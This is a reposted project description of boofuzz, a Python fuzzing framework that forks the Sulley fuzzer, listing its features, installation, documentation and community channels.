What Happens If Time Gets Hacked

Renowned hardware security expert raises alarm on the risk and dangers of cyberattackers targeting the current time-synchronization infrastructure.
Boofuzz is a fork of and the successor to the venerable Sulley (https://github.com/OpenRCE/sulley) fuzzing framework. Besides numerous bug fixes, boofuzz aims for extensibility. The goal: fuzz (https://www.kitploit.com/search/label/Fuzz) everything.
Why?
Sulley has been the preeminent open source fuzzer (https://www.kitploit.com/search/label/Fuzzer) for some time, but has fallen out of maintenance.
Features
Like Sulley, boofuzz incorporates all the critical elements of a fuzzer:Easy and quick data generation.Instrumentation – AKA failure detection.Target reset after failure.Recording of test data.Unlike Sulley, boofuzz also features:Online documentation (https://boofuzz.readthedocs.io/).Support for arbitrary communications mediums.Built-in support for serial fuzzing, ethernet- and IP-layer, UDP broadcast.Better recording of test data -- consistent, thorough, clear.Test result CSV export.Extensible instrumentation/failure detection.Much easier install experience!Far fewer bugs.Sulley is affectionately named after the giant teal and purple creature from Monsters Inc. due to his fuzziness. Boofuzz is likewise named after the only creature known to have scared Sulley himself: Boo!

Installation
pip install boofuzz
Boofuzz installs as a Python library (https://www.kitploit.com/search/label/Library) used to build fuzzer scripts. See INSTALL.rst (https://github.com/jtpereyda/boofuzz/blob/master/INSTALL.rst) for advanced and detailed instructions.
Documentation
Documentation is available at https://boofuzz.readthedocs.io/, including nifty quickstart guides.
Contributions
Pull requests are welcome, as boofuzz is actively maintained (at the time of this writing ;)). See CONTRIBUTING.rst (https://github.com/jtpereyda/boofuzz/blob/master/CONTRIBUTING.rst).
Community
For questions that take the form of “How do I… with boofuzz?” or “I got this error with boofuzz, why?”, consider posting your question on Stack Overflow. Make sure to use the fuzzing tag.If you’ve found a bug, or have an idea/suggestion/request, file an issue here on GitHub.For other questions, check out boofuzz on gitter (https://gitter.im/jtpereyda/boofuzz) or Google Groups (https://groups.google.com/d/forum/boofuzz).For updates, follow @b00fuzz (https://twitter.com/b00fuzz) on Twitter.
